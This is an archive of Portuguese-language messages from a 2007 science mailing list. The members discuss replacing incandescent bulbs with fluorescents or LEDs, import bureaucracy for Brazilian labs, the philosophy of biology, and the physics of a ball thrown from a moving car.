TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 01/07/2007 23:00



30/06/2007 - JORNAL DA CIDADE - BAURU - SP


Produzir ou economizar energia?
Participei recentemente de uma reunião do Sindicato dos Engenheiros na qual foi proposta a retomada dos Conselhos Tecnológicos que em 2006 elaboraram um documento intitulado "Cresce Brasil - Um Projeto de Desenvolvimento Para o País" Muitas das ações propostas nesse documento foram, no início de 2007, encampadas pelo PAC - Programa de Aceleração do Crescimento formulado pelo Governo Federal. Estaria mentindo se dissesse que não fiquei orgulhoso ao constatar que a classe profissional à qual pertenço mostrou sua competência e capacidade de mobilização no sentido de propor ações positivas para o desenvolvimento do País.

A área de geração, transmissão e distribuição de energia é reconhecidamente um dos principais gargalos para que se possa efetivamente acelerar o desenvolvimento do país. Para esse setor, a proposta dos engenheiros elencou a construção de grande número usinas hidro e termo elétricas, as quais foram igualmente arroladas pelo PAC como prioridade. Nos últimos dias, em vista dos entraves ambientais para a construção de hidroelétricas tem se falado na construção da termo-nuclear de Angra 3. Os argumentos a favor da usina nuclear são de que, embora de construção mais cara, é a única que não contribui para o aquecimento global e se corretamente operada é segura. Verdade, o único acidente sério com usina nuclear aconteceu em Chernobil, na antiga União Soviética, em decorrência de má administração. Pergunto: você entregaria uma usina nuclear para o governo brasileiro cuidar?

Mas vamos ao assunto: a propositura da construção de usinas não constitui novidade, todos sabemos que engenheiro gosta de grandes obras, por vocação profissional, e o governo também adora grandes obras, às vezes, por outro tipo de vocação. Mas é necessário lembrar que investimentos na conservação de energia podem ser muito menores, e igualmente produtivos. Recentemente li interessante trabalho do engenheiro ambientalista Luiz Carlos Porto sobre os benefícios da substituição das lâmpadas comuns (incandescentes) por lâmpadas fluorescentes compactas. As lâmpadas incandescentes são equipamentos altamente ineficientes, pois perdem cerca de 90% da energia consumida. Uma lâm-pada fluorescente usa cerca de 1/4 da energia da lâmpada comum. A Austrália e o Canadá proibirão a venda dessas comilonas de energia a partir de 2010 e 2012 respectivamente e nos EUA inicia-se uma forte campanha pela sua troca.

O ambientalista Lester Brown fez as contas. Se todas as lâmpadas comuns do mundo fossem trocadas por fluorescentes poderiam ser fechadas mais de 270 termelétricas a carvão com 500 MW de potência cada. Isso dá 135.000 MW. Todas as usinas do Brasil têm cerca de 95.000 MW de potência instalada. O colega Luiz Carlos também fez as contas: No Brasil existem cerca de 48 milhões de domicílios. Se em cada um deles fossem substituídas 2 lâmpadas comuns de 100 W (que funcionassem durante 4 horas dia) por lâmpadas fluorescentes equivalentes de 25 W, a economia seria de 219 KWh/ano por domicílio. Em todo o país economizaríamos 10.512 GWh/ano, que é quase a mesma energia gerada por todas as 10 usinas hidrelétricas operadas pela empresa AES Tietê.

O risco de apagão em 2001 mostrou claramente como é possível racionalizar o consumo de energia sem prejuízo para o conforto das pessoas ou para a produção industrial. Resta, então, a incômoda pergunta: se a simples substituição de lâmpadas incandescentes por fluorescentes pode reduzir drasticamente a necessidade de construção de novas usinas, por que o governo não incentiva ou subsidia ou até mesmo exige a troca dessas lâmpadas arcaicas pelos modelos mais eficientes?


O autor, Eric Fabris, é engenheiro civil e colaborador da coluna Opinião - eric@mstecnologia.com.br


[]'
Léo

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Queremos Fluorescentes
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 23:27

Eu preferiria lâmpadas LEDs. As fluorescentes apresentam o problema do
chumbo e do fósforo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto" >
> 30/06/2007 - JORNAL DA CIDADE - BAURU - SP
> O risco de apagão em 2001 mostrou claramente como é possível
racionalizar o consumo de energia sem prejuízo para o conforto das
pessoas ou para a produção industrial. Resta, então, a incômoda
pergunta: se a simples substituição de lâmpadas incandescentes por
fluorescentes pode reduzir drasticamente a necessidade de construção
de novas usinas, por que o governo não incentiva ou subsidia ou até
mesmo exige a troca dessas lâmpadas arcaicas pelos modelos mais
eficientes?




SUBJECT: [RN] CIENCIA E BUROCRACIA DE IMPORTACAO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/07/2007 23:34

Cientistas despachantes

Coluna Ciência em Dia
Folha de S.Paulo - caderno Mais
1º de julho de 2007


Um encontro bem brasileiro aconteceu quarta-feira passada na USP. Eram
15 pessoas, reunidas por iniciativa da Federação de Sociedades de
Biologia Experimental (FeSBE). Todas com histórias tristes para
contar, experimentadas na própria carne ou por colegas. Os relatos,
desoladores, provocavam risos.

"A Anvisa [Agência Nacional de Vigilância Sanitária] entrou em greve e
nossos anticorpos ficaram presos por quase três meses na Infraero.
Quando voltaram a trabalhar, queriam incinerar nosso material, pois a
validade a 4C era de um mês", dizia um relato. "Pediram pedigree do
boi para autorizar importação de albumina. Não têm noção do que estão
pedindo."

Alguns dos casos foram lidos por Mauro Rebelo, da UFRJ. Rebelo
apresentava uma pesquisa informal da Sociedade Brasileira de
Neurociências e Comportamento (SBNeC), uma das sociedades da FeSBE.
Cerca de 300 questionários foram enviados por e-mail a chefes de
grupos de pesquisa de sete Estados, e 85 responderam.

Três quartos dos que responderam têm de aguardar de 3 a 12 meses por
insumos importados para fazer o laboratório funcionar. São
microscópios, anticorpos, culturas de células, animais, compostos
radioativos, DNA e assim por diante. Além da espera (23%), os maiores
problemas apontados são burocracia (37%) e perda de material perecível
(24%).

Isso para não falar do gelo-seco. A fim de manter a temperatura ideal
de certos reagentes e materiais biológicos, o produto é embalado com o
composto -que evapora (sublima, diria o professor de química) com o
tempo. Aí o peso discriminado na guia de importação não bate com o do
pacote. E o fiscal embaraça.

Até o material doado por instituições estrangeiras pode ser
classificado como importação, o que lança o pesquisador-despachante no
pesadelo kafkiano: como atribuir-lhe um valor qualquer no formulário,
se o material não foi vendido?

Noves fora, a FeSBE concluiu que o custo-Brasil enfrentado pelo
cientista natural é da ordem de 67% do que gasta com aquisição de
materiais. As verbas obtidas das agências de fomento-dinheiro do
próprio governo- escorrem por vários ralos: pagamento de estocagem,
taxas e impostos, ágio cobrado por representantes comerciais no Brasil
etc.

Pergunte a um desses pesquisadores qual é o maior entrave para a
importação de insumos e ele terá o nome na ponta da língua: Anvisa,
cuja anuência é obrigatória para importar ou exportar produtos que
impliquem risco à saúde pública. Ou seja, quase tudo o que existe
dentro de um laboratório de biologia.
Os participantes da reunião de quarta na USP são unânimes em dizer que
o embaraço piorou neste ano.

Atribuem a deterioração a fiscais novos e despreparados, mas não se
dispõem a parar na lamentação. Eles querem que o Ministério de Ciência
e Tecnologia (MCT) busque um entendimento com o da Saúde para
desonerar toda a importação de materiais para pesquisa -como na
maioria dos países desenvolvidos. Que o CNPq (agência do MCT) tenha o
poder de credenciar os pesquisadores com permissão para importar
insumos sem ônus nem embaraço. Que os fiscais da Anvisa recebam
treinamento (a FeSBE se prontifica a fazê-lo).

Não adianta fazer PAC da ciência, tecnologia e inovação, como quer o
MCT, sem olhar para o dia-a-dia dos laboratórios. Nem criar o Importa
Fácil CNPq, que 74% dos pesquisados nunca usaram, pois os Estados não
abrem mão do ICMS.

O buraco é mais embaixo, em cima e por todos os lados.

http://cienciaemdia.zip.net/
--------------------------
[]s,

Roberto Takata



SUBJECT: [RN] MAIS UM RANKING DE UNIVERSIDADES
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 02:12

USP é a melhor da América Latina
'Ranking da Universidade Xangai Jiao Tong, na China, coloca
instituição em 134.º entre 500'
http://www.estado.com.br/editorias/2007/07/01/ger-1.93.7.20070701.27.1.xml
-------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Queremos Fluorescentes
FROM: "Jamil orlandelli" <orlandel@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 08:22

OLá

Seria interessante ouvir também os astrônomos amadores
sobre a questão da iluminação, principalmente a pública.
Eles também tem proposta:

http://www.revistamacrocosmo.com/ceuparatodos/nossaproposta.php

Jamil


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Sunday, July 01, 2007 11:00 PM
Subject: [ciencialist] Queremos Fluorescentes




30/06/2007 - JORNAL DA CIDADE - BAURU - SP

Produzir ou economizar energia?
Participei recentemente de uma reunião do Sindicato dos Engenheiros na qual foi proposta a retomada dos Conselhos Tecnológicos que em 2006 elaboraram um documento intitulado "Cresce Brasil - Um Projeto de Desenvolvimento Para o País" Muitas das ações propostas nesse documento foram, no início de 2007, encampadas pelo PAC - Programa de Aceleração do Crescimento formulado pelo Governo Federal. Estaria mentindo se dissesse que não fiquei orgulhoso ao constatar que a classe profissional à qual pertenço mostrou sua competência e capacidade de mobilização no sentido de propor ações positivas para o desenvolvimento do País.

A área de geração, transmissão e distribuição de energia é reconhecidamente um dos principais gargalos para que se possa efetivamente acelerar o desenvolvimento do país. Para esse setor, a proposta dos engenheiros elencou a construção de grande número usinas hidro e termo elétricas, as quais foram igualmente arroladas pelo PAC como prioridade. Nos últimos dias, em vista dos entraves ambientais para a construção de hidroelétricas tem se falado na construção da termo-nuclear de Angra 3. Os argumentos a favor da usina nuclear são de que, embora de construção mais cara, é a única que não contribui para o aquecimento global e se corretamente operada é segura. Verdade, o único acidente sério com usina nuclear aconteceu em Chernobil, na antiga União Soviética, em decorrência de má administração. Pergunto: você entregaria uma usina nuclear para o governo brasileiro cuidar?

Mas vamos ao assunto: a propositura da construção de usinas não constitui novidade, todos sabemos que engenheiro gosta de grandes obras, por vocação profissional, e o governo também adora grandes obras, às vezes, por outro tipo de vocação. Mas é necessário lembrar que investimentos na conservação de energia podem ser muito menores, e igualmente produtivos. Recentemente li interessante trabalho do engenheiro ambientalista Luiz Carlos Porto sobre os benefícios da substituição das lâmpadas comuns (incandescentes) por lâmpadas fluorescentes compactas. As lâmpadas incandescentes são equipamentos altamente ineficientes, pois perdem cerca de 90% da energia consumida. Uma lâm-pada fluorescente usa cerca de 1/4 da energia da lâmpada comum. A Austrália e o Canadá proibirão a venda dessas comilonas de energia a partir de 2010 e 2012 respectivamente e nos EUA inicia-se uma forte campanha pela sua troca.

O ambientalista Lester Brown fez as contas. Se todas as lâmpadas comuns do mundo fossem trocadas por fluorescentes poderiam ser fechadas mais de 270 termelétricas a carvão com 500 MW de potência cada. Isso dá 135.000 MW. Todas as usinas do Brasil têm cerca de 95.000 MW de potência instalada. O colega Luiz Carlos também fez as contas: No Brasil existem cerca de 48 milhões de domicílios. Se em cada um deles fossem substituídas 2 lâmpadas comuns de 100 W (que funcionassem durante 4 horas dia) por lâmpadas fluorescentes equivalentes de 25 W, a economia seria de 219 KWh/ano por domicílio. Em todo o país economizaríamos 10.512 GWh/ano, que é quase a mesma energia gerada por todas as 10 usinas hidrelétricas operadas pela empresa AES Tietê.

O risco de apagão em 2001 mostrou claramente como é possível racionalizar o consumo de energia sem prejuízo para o conforto das pessoas ou para a produção industrial. Resta, então, a incômoda pergunta: se a simples substituição de lâmpadas incandescentes por fluorescentes pode reduzir drasticamente a necessidade de construção de novas usinas, por que o governo não incentiva ou subsidia ou até mesmo exige a troca dessas lâmpadas arcaicas pelos modelos mais eficientes?

O autor, Eric Fabris, é engenheiro civil e colaborador da coluna Opinião - eric@mstecnologia.com.br

[]'
Léo

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Queremos Fluorescentes
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 10:08

Sim, as 'lâmpadas' LEDs são mais eficientes, mais duradouras (10 anos de vida útil!) e, em breve, suplantarão as fluorescentes em todos os aspectos. Já há projetos que incluem de 5 a 10 LEDs num só refletor e tudo dimensionado para nossos 117 VAC (inclusive a rosca padrão). Nos automóveis já há grande aplicação dos LEDs.
Questão de 1 mês comprei, via internet, 4 'saquinhos' (10 LED em cada) de LEDs de 20 000 mcd e tensão de 3 a 3,8V, 20 mA ... um troço 'ofuscante'!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 1 de julho de 2007 23:27
Assunto: [ciencialist] Re: Queremos Fluorescentes


Eu preferiria lâmpadas LEDs. As fluorescentes apresentam o problema do
chumbo e do fósforo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto" >
> 30/06/2007 - JORNAL DA CIDADE - BAURU - SP
> O risco de apagão em 2001 mostrou claramente como é possível
racionalizar o consumo de energia sem prejuízo para o conforto das
pessoas ou para a produção industrial. Resta, então, a incômoda
pergunta: se a simples substituição de lâmpadas incandescentes por
fluorescentes pode reduzir drasticamente a necessidade de construção
de novas usinas, por que o governo não incentiva ou subsidia ou até
mesmo exige a troca dessas lâmpadas arcaicas pelos modelos mais
eficientes?




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SUBJECT: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 11:10

Para quem interessar, postei um novo artigo no meu blog, onde ataco um
argumento que surge aqui nesse grupo de vez em quando: o de que só a física
é verdadeiramente científica. Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-biologia.html

[ ]s

Alvaro Augusto



SUBJECT: Ernst Mayr e a filosofia da biologia
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 11:23

Para quem se interessar, postei um novo artigo no meu blog, onde ataco um
argumento que surge aqui nesse grupo de vez em quando: o de que só a física
é verdadeiramente científica. Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-biologia.html

[ ]s

Alvaro Augusto



SUBJECT: RE: [ciencialist] Re: Queremos Fluorescentes
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 12:06

Pior que Pb e F é o conteúdo de *mercúrio*, indispensável p/a abertura do
arco nas fluorescentes.
Um dia, vai acabar tudo no ambiente.
Tb fico com os LED e que sabe c/os OLED.
Os resíduos dos LED - semicondutores - são muito mais inertes.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Queremos Fluorescentes
>Date: Mon, 02 Jul 2007 02:27:52 -0000
>
>Eu preferiria lâmpadas LEDs. As fluorescentes apresentam o problema do
>chumbo e do fósforo.
>
>[]s,
>
>Roberto Takata
>
>--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto" >
> > 30/06/2007 - JORNAL DA CIDADE - BAURU - SP
> > O risco de apagão em 2001 mostrou claramente como é possível
>racionalizar o consumo de energia sem prejuízo para o conforto das
>pessoas ou para a produção industrial. Resta, então, a incômoda
>pergunta: se a simples substituição de lâmpadas incandescentes por
>fluorescentes pode reduzir drasticamente a necessidade de construção
>de novas usinas, por que o governo não incentiva ou subsidia ou até
>mesmo exige a troca dessas lâmpadas arcaicas pelos modelos mais
>eficientes?
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SUBJECT: Re: Inversor Trifásico Mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 13:05

Olá a todos, fiz o upload da versão 1.5 do ITM
(http://f1.grp.yahoofs.com/v1/8BKJRuuhFnNgt7CmGX5fxmvXI5YGP72dr1Xy5ZaE4q
BE866XJbwFpAFrKNcqbIVWgdgPFbNxVHuhrheqHT5sS98k65WXZQ/inversor%
20trifasico1p5.png).
Nesta versão retirei o 4017. Isto mesmo, agora usa-se apenas um
Circuito Integrado (3 das 4 portas).
Perdeu-se o controle de freqüência, mas como a intenção é
simplificar, "tá valendo"!
A pesquisa continua.

Murilo, obrigado pelo apoio!

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 13:38

Por que seria incompatível?
Entendo que a distância de deslocamento da bola antes de tocar no solo - que
imagino ser provocado pelo empuxo do carro - não me parece incompatível... A
distância alcançada pela bola após quicar na pista é discutível e,
certamente, não é provocada pelo vento deslocado pelo veículo a 100km/h. As
duas possibilidades aventadas para esse aumento de velocidade horizontal
após o contato com a pista, são: rotação da bola e irregularidade no piso.
Mesmo com a definição ruim das imagens dá para perceber que a pista não é
"lisa". Vê-se que há pedregulhos em evidência que podem afetar a trajetória
da bola ao tocar na pista. Pode-se imaginar também uma diferença de
velocidade entre o carro e a bola lançada, mas sem dúvida o empuxo do
deslocamento do ar provocado pelo carro a 100km/h ocorre exatamente naquela
direção e sentido.
[]s
José Renato
......................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:24 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro
a100km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Voltando ao vídeo em assunto: a bola - ou qualquer outro objeto -
> sofrerá um empuxo, resultante do deslocamento do ar, na direção e
> sentido do veículo.

Já mostrei os cálculos q indicam q a trajetória da bola é incompatível
com uma influência significativa da aceleração pelo vento - o vento
teria um comportamento muito estranho: ora enfraquecendo, ora se
fortalecendo.

http://br.groups.yahoo.com/group/ciencialist/message/64154

[]s,

Roberto Takata



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SUBJECT: Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 15:53

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Por que seria incompatível?

Porq como demonstrado no cálculo a aceleração do segundo trecho é
MAIOR do q no primeiro trecho. Isso significa q - se fosse o ar - o
vento teria AUMENTADO de velocidade do primeiro para o segundo trecho,
o q não faz sentido algum.

Mas vamos continuar a calcular as velocidades (vertical e horizontal)
e tempos para os trechos seguintes.
Vy2 = 0
Vy3 = 3,67749915 m/s
deltat3 ~ 0,375255015 s
Vxm3 = deltaS3/deltat3 = (2,16 - 1,25)/0,375255015 ~ 2,42501756 m/s
Vx3 = 2.Vxm3 - Vx2 = 1,44115671 m/s
ax3 = (Vx3-Vx2)/deltat3 = -5,24369194 m/s2

Agora do segundo para o terceiro trecho o vento teria q soprar em
sentido CONTRÁRIO...

[]s,

Roberto Takata



SUBJECT: Re: Queremos Fluorescentes
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 15:54

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Pior que Pb e F é o conteúdo de *mercúrio*, indispensável p/a
> abertura do arco nas fluorescentes.

De fato.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Ernst Mayr e a filosofia da biologia
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 16:47

Muito bom o artigo. Concordo em gênero, número e grau.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: segunda-feira, 2 de julho de 2007 11:24
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Ernst Mayr e a filosofia da biologia



Para quem se interessar, postei um novo artigo no meu blog, onde ataco um
argumento que surge aqui nesse grupo de vez em quando: o de que só a física
é verdadeiramente científica. Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-biologia
.html

[ ]s

Alvaro Augusto





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ernst Mayr e a filosofia da biologia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 17:08

Eu discordo tto de Mayr qto de Popper (ainda q este tenha voltado em
sua opinião qto à testabilidade da teoria da evolução - em parte o
recuo motivado pelo avanço criacionista).

Há um certo resumo do pensamento de Mayr em "Biologia: ciência única".

Primeiro: embora Dobzhansky tenha apropriadamente sentenciado que
"nada em biologia faz sentido a não ser à luz da evolução" - a
biologia é um campo q vai além da evolução - então a cientificidade ou
não da teoria da evolução *não* caracteriza o status científico ou não
da biologia.

Segundo: a teoria da evolução *é* testável e plenamente testável. Se
tomarmos a evolução por seleção natural, poderemos testar de modo
independente e em conjunto cada uma de suas premissas P e conclusão C:
P1) Algumas características são herdáveis;
P2) Há variação em pelo menos parte dessas características herdáveis;
P3) Parte das características herdáveis estão correlacionadas à maior
ou menor capacidade de seus portadores em deixarem descendentes
viáveis para a próxima geração;
-------------------------------------------
C) Características herdáveis q conferem vantagens reprodutivas tendem
a se espalhar pela população.

Isso pode ser feito em laboratório por meio de plaqueamento de
bactérias, cultivo de plantas, criação de moscas e ratos, observação
na natureza e in silico.

Terceiro: Verdade q o objeto de estudo da teoria da evolução é
eminentemente histórico em sua natureza. Mas seria o mm q dizer q
geologia e a cosmologia tb não são científicas ou não são científicas
do mm modo q a física.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Para quem interessar, postei um novo artigo no meu blog, onde ataco um
> argumento que surge aqui nesse grupo de vez em quando: o de que só a
> física é verdadeiramente científica. Detalhes em




SUBJECT: [RN] GEOGLIFOS ACRIANOS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 21:17

Em clima de mistério, geoglifos se multiplicam no solo do Acre
http://www1.folha.uol.com.br/folha/ciencia/ult306u308745.shtml
--------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 21:35

Comentários após JR1...
....................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:52 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem


Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco
quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o
remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os
pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de água
entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli
justifica a aproximação entre eles; é equivalente a soprar entre duas bolas
próximas dependuradas.
JR1 - Esse efeito que vc menciona não é o que prevalesse no caso aventado de
pequenos barcos de pesca. Os movimentos mais significativos provocados na
água são o do deslocamento do barco maior e o das hélices.

3- O acréscimo de velocidade horizontal adquirido pela bola após a primeira
quicada só (penso eu) pode ser justificado pela rotação da bola em sentido
anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na área
da bola é incompatível com o observado (e calculado pelo Roberto).
JR1 - Repetindo a resposta anterior, afirmo que o que determina a brusca
aceleração da bola após o primeiro quicar no chão ainda está indeterminada.
Há duas possibilidades mais visíveis: a rotação da bola e irregularidade no
piso.

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se a
esteira 'corresse' no mesmo sentido e valor da velocidade do avião conforme
este adquire velocidade em relação ar?
JR1 - Aqui vc já define o referencial para a medida da velocidade: o ar. No
caso questionado estamos de acordo que o avião decola da esteira quando sua
velocidade é medida em relação ao ar ou ao chão.

5- Força de atrito não existe e não caracteriza corpo, superfície, natureza
ou qqer força natural. Esse componente da força total de apoio é, sem
dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas
(Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N, para
deixar claro que ela e N pertencem a algo mais geral. Se um bloco está
apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é a
reação total de apoio?", não há o que pensar duas vezes para responder "é a
equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo
valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9 horas
de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20
experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim
grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior
produtora de zinco do Brasil) --- tudo na base de van para transporte
(sprinter), carro à disposição, hotel etc.; aceitei o convite da Votorantin,
prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco
para fazer um bocado de experiências!

inté a próxima ........
aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Parabéns pelo seu sucesso em Três Marias!
Serve pelo menos para recuperar do cansaço pelas horas de viagem...

[]s

José Renato
........................................................................

-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro
a100km/h:osresultados

[ ... ]



SUBJECT: Fw: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 21:59

Takata, se vc estivesse acompanhando as mensagens e mantivesse minimamente
os comentários anteriores saberia que minha afirmação se refere à certeza da
existência de um empuxo na direção e sentido do carro. Isso é liquido e
certo.

Quanto à aceleração horizontal obtida pela bola após quicar no chão pela
primeira vez, já afirmei que não é determinada por esse empuxo do
deslocamento do ar provocado pelo carro a 100km/h.

Já perda de velocidade horizontal da bola, após o segundo toque no chão, não
se deve necessariamente a um fluxo contrário de vento. Há outras componentes
"normais" desacelerando o movimento da bola.

[]s

José Renato
.........................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 02, 2007 3:53 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro
a100km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Por que seria incompatível?

Porq como demonstrado no cálculo a aceleração do segundo trecho é
MAIOR do q no primeiro trecho. Isso significa q - se fosse o ar - o
vento teria AUMENTADO de velocidade do primeiro para o segundo trecho,
o q não faz sentido algum.

Mas vamos continuar a calcular as velocidades (vertical e horizontal)
e tempos para os trechos seguintes.
Vy2 = 0
Vy3 = 3,67749915 m/s
deltat3 ~ 0,375255015 s
Vxm3 = deltaS3/deltat3 = (2,16 - 1,25)/0,375255015 ~ 2,42501756 m/s
Vx3 = 2.Vxm3 - Vx2 = 1,44115671 m/s
ax3 = (Vx3-Vx2)/deltat3 = -5,24369194 m/s2

Agora do segundo para o terceiro trecho o vento teria q soprar em
sentido CONTRÁRIO...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Ernst Mayr e a filosofia da biologia
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/07/2007 22:15

Álvaro, quando os dados e as variáveis alcançam números muito elevados
deixamos de ter o tal "controle científico", obtido em experimentos cujos
principais dados são, comparativamente, em número bem menor.

Essa é a questão: a Física clássica e a Química tratam de eventos com menor
mobilidade e possibilidades de opções do que os eventos ocorrido em Biologia
e Genética, por exemplo.

[]s

José Renato
.....................................

----- Original Message -----
From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 02, 2007 11:23 AM
Subject: [ciencialist] Ernst Mayr e a filosofia da biologia


> Para quem se interessar, postei um novo artigo no meu blog, onde ataco um
> argumento que surge aqui nesse grupo de vez em quando: o de que só a
> física
> é verdadeiramente científica. Detalhes em
> http://alvaroaugusto.blogspot.com/2007/07/ernst-mayr-e-filosofia-da-biologia.html
>
> [ ]s
>
> Alvaro Augusto
>
>
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> Página de apoio
> http://www.ciencialist.com
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> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
> http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1183387602.627033.9854.aldabra.terra.com.br,3730,Des15,Des15
>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 29/06/2007 / Versão:
> 5.1.00/5064
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.9.14/883 - Release Date: 1/7/2007
> 12:19
>
>



SUBJECT: Fw: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a100km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/07/2007 23:27

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Takata, se vc estivesse acompanhando as mensagens e mantivesse
> minimamente os comentários anteriores saberia que minha afirmação se

Não vou nem me dar ao trabalho de comentar esse trecho acima...

> Quanto à aceleração horizontal obtida pela bola após quicar no chão
> pela primeira vez, já afirmei que não é determinada por esse empuxo
